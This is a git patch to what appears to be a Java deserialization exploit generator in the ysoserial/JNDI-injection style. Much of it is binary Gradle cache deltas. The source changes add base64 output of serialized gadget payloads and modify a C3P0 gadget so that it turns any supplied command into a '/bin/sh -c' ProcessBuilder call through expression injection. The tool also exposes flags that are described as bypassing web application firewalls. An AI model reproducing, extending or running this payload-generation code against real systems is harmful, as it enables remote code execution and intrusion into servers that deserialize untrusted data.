From 4bcce8789f36d34ef0bff2021f5a5b98064639ce Mon Sep 17 00:00:00 2001 From: qi4L Date: Tue, 13 Aug 2024 18:43:58 +0800 Subject: [PATCH] =?UTF-8?q?base64=E7=BC=96=E7=A0=81=E8=BE=93=E5=87=BAPaylo?= =?UTF-8?q?ad?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gradle/8.7/checksums/checksums.lock | Bin 17 -> 17 bytes .../8.7/executionHistory/executionHistory.bin | Bin 2055431 -> 2055431 bytes .../executionHistory/executionHistory.lock | Bin 17 -> 17 bytes .gradle/8.7/fileHashes/fileHashes.bin | Bin 165883 -> 165883 bytes .gradle/8.7/fileHashes/fileHashes.lock | Bin 17 -> 17 bytes .../8.7/fileHashes/resourceHashesCache.bin | Bin 105575 -> 105949 bytes .../buildOutputCleanup.lock | Bin 17 -> 17 bytes .gradle/file-system.probe | Bin 8 -> 8 bytes .../com/qi4l/jndi/controllers/ysoserial.java | 9 +++- .../java/com/qi4l/jndi/gadgets/C3P02.java | 9 ++++ .../com/qi4l/jndi/gadgets/Config/Config.java | 1 + .../qi4l/jndi/gadgets/utils/Serializer.java | 44 +++++++++++++----- 12 files changed, 51 insertions(+), 12 deletions(-) diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index 16d9d4dbc221c27855cc3f5486a16704e7297768..692af01099e8018a838f88eb95ef54341391f913 100644 GIT binary patch literal 17 VcmZRU*k4$1@M75u1~6dy1OPac1)u-` literal 17 VcmZRU*k4$1@M75u1~6cH2LL#b1)Kl? diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin index 3433798707802522e055dad51136080ce9af2786..1b979c1ff52db4278f5b14106280c520b913a024 100644 GIT binary patch delta 5508 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 delta 5380 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 FzX0n9Fg^eP diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock index 6fc733c5e2728ca3a24064dc8ba540f5a54f4f05..1665a6de00fc20b9d524b49c6c81b93629495bcf 100644 GIT binary patch literal 17 UcmZQ>dGjUQrSpIr0|Yb!06V7z6#xJL literal 17 UcmZQ>dGjUQrSpIr0|e9p06U=t4*&oF diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index e5549ddb211c2b35905baf867b9c262ca4ae3485..9b6c8a90ed2c526c5819bf96bae934df8f6a6c60 100644 GIT binary patch delta 3893 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 Net!)+MhX?b{{wH3<#zx8 diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index 4ea3ab2076b90c2a862035c63850ca04593a5344..d66ba3e9dd77a7304aad4e76d7461f8fa26194c5 100644 GIT binary patch literal 17 VcmZR+d$zvH^H97W0~knr2LL*l1#SQU literal 17 VcmZR+d$zvH^H97W0~mxp9-Pc-)}a&RmsG^;ci`xRI4de>CDLs?>yLk%7jspjo-^Tyz9d5 z^HAlhCog<7b9=Eh;|FH`+JI-F?1EfSJ>}b@>=|FNG0AvtR6HR(eeO&~zU@<@82|7w zvTvW5$#|2Kzw6w$%)5fQQ1!;!6N?#7^D*w+s2Cx>9jN>i)AakZ8TpK^2Rm&(5`=QJ9Y}X=ccJKO6n8 z&DWc>i>E(KU=$W;30QhS`q!=_bM;-!w#F`eJH0H8(PZ-fHWz{2XTuq0ZxXuyHYU!% nVVTF#$%UVVrwhzsbQbw|Z>Cq~!3(b)7B4u{`$|CpXr&wgc?7UB delta 161 zcmV;S0AByyy9VdD2Cy_30R*!(7zqutRwcj&vo0*61OaiE{b>RHvz{^HiUB0EfxH0* zvzo#X0<*%zUk0-|%lixgahD!10nM|z*uPN$D7Shl0l@>eQ!W8W1G75XM+3JKH31n0 zld9s7x6?ZT@B_EoKLOze0vpk>AwU$DotXg+x0G4|{0;#Iw~=W9*$I>OIls3-bO8en P0im%Wa2L0onE}cIS57~B diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock index bce9dcfcf1388d5ff294db6897e83355068425cd..600b9e277729b73e713d7127f561cbc4f28188cb 100644 GIT binary patch literal 17 VcmZSHt{HzOWk&8J1~6b$1OPQS1bhGh literal 17 VcmZSHt{HzOWk&8J1~6b00{}HG1aSZW diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe index 6a3e66c910bd5e75801823179267aec6371cb899..ac9f9fd42b81c9dcfbd22ddc5c5d81d7ad582961 100644 GIT binary patch literal 8 PcmZQzV4Ub3YN-MM1*8Fx literal 8 PcmZQzV4Uc=#O5ae2V?@Z diff --git a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java index 1e5b86e..381dc4e 100644 --- a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java +++ b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java @@ -9,6 +9,7 @@ import com.qi4l.jndi.gadgets.utils.StringUtil; import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper; import org.apache.commons.cli.*; +import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.OutputStream; import java.util.*; @@ -19,7 +20,7 @@ import static com.qi4l.jndi.gadgets.utils.StringUtil.isFromExploit; public class ysoserial { public static CommandLine cmdLine; - public static Object PAYLOAD = null; + public static Object PAYLOAD = null; public static void ysoserial(String[] args) { final Options options = getOptions(); @@ -68,6 +69,10 @@ public class ysoserial { Config.FILE = cmdLine.getOptionValue("file"); } + if (cmdLine.hasOption("base64")) { + Config.BASE64 = true; + } + if (cmdLine.hasOption("password")) { Config.PASSWORD_ORI = cmdLine.getOptionValue("password"); Config.PASSWORD = generatePassword(Config.PASSWORD_ORI); @@ -172,6 +177,7 @@ public class ysoserial { } System.exit(0); } + private static Options getOptions() { Options options = new Options(); options.addOption("y", "ysoserial", false, "Java deserialization"); @@ -199,6 +205,7 @@ public class ysoserial { options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf"); options.addOption("he1", "Hessian1", false, "Hessian1 Output"); options.addOption("he2", "Hessian2", false, "Hessian2 Output"); + options.addOption("b64", "base64", false, "base64 encoding"); return options; } diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P02.java b/src/main/java/com/qi4l/jndi/gadgets/C3P02.java index 7635955..d1bcce6 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/C3P02.java +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P02.java @@ -18,6 +18,9 @@ import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; +import static com.qi4l.jndi.gadgets.utils.Utils.getJSEngineValue; +import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass; + /** * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 */ @@ -27,6 +30,12 @@ import java.util.logging.Logger; public class C3P02 implements ObjectPayload { public Object getObject(String command) throws Exception { + if (command.startsWith("EX-") || command.startsWith("LF-")) { + command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\""); + } else { + command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()"; + } + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); return b; diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java index d7452e4..57c5bdb 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java @@ -94,6 +94,7 @@ public class Config { // 将输入直接写在文件里 public static String FILE = "out.ser"; public static Boolean WRITE_FILE = false; + public static Boolean BASE64 = false; // 是否强制使用 org.apache.XXX.TemplatesImpl public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java index 87d7c1d..a0c2871 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java @@ -3,6 +3,7 @@ package com.qi4l.jndi.gadgets.utils; import com.caucho.hessian.io.*; import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; +import java.util.Base64; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; @@ -36,25 +37,40 @@ public class Serializer implements Callable { public static void qiserialize(Object obj, final OutputStream out) throws Exception { ObjectOutputStream objOut = null; AbstractHessianOutput AobjOut = null; + ByteArrayOutputStream outB64 = new ByteArrayOutputStream(); - if (IS_DIRTY_IN_TC_RESET) { - objOut = new SuObjectOutputStream(out); - } else if (IS_UTF_Bypass) { - objOut = new UTF8OverlongObjectOutputStream(out); + if (IS_UTF_Bypass) { + if (BASE64) { + objOut = new UTF8OverlongObjectOutputStream(outB64); + } else { + objOut = new UTF8OverlongObjectOutputStream(out); + } } else if (IS_Hessian1) { - AobjOut = new HessianOutput(out); + if (BASE64) { + AobjOut = new HessianOutput(outB64); + } else { + AobjOut = new HessianOutput(out); + } NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); AobjOut.setSerializerFactory(sf); } else if (IS_Hessian2) { - AobjOut = new Hessian2Output(out); + if (BASE64) { + AobjOut = new Hessian2Output(outB64); + } else { + AobjOut = new Hessian2Output(out); + } NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); AobjOut.setSerializerFactory(sf); AobjOut.writeObject(obj); AobjOut.close(); - }else { - objOut = new ObjectOutputStream(out); + } else { + if (BASE64) { + objOut = new SuObjectOutputStream(outB64); + } else { + objOut = new SuObjectOutputStream(out); + } } if (IS_Hessian1 || IS_Hessian2) { @@ -62,6 +78,12 @@ public class Serializer implements Callable { } else { objOut.writeObject(obj); } + + if (BASE64) { + String encodedString = Base64.getEncoder().encodeToString(outB64.toByteArray()); + System.out.println(encodedString); + } + } public byte[] call() throws Exception { @@ -96,7 +118,7 @@ public class Serializer implements Callable { * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class) */ @Override - public com.caucho.hessian.io.Serializer getObjectSerializer (Class cl ) throws HessianProtocolException { + public com.caucho.hessian.io.Serializer getObjectSerializer(Class cl) throws HessianProtocolException { return super.getObjectSerializer(cl); } @@ -106,10 +128,10 @@ public class Serializer implements Callable { * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class) */ @Override - public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException { + public com.caucho.hessian.io.Serializer getSerializer(Class cl) throws HessianProtocolException { com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl); - if ( serializer instanceof WriteReplaceSerializer ) { + if (serializer instanceof WriteReplaceSerializer) { return UnsafeSerializer.create(cl); } return serializer;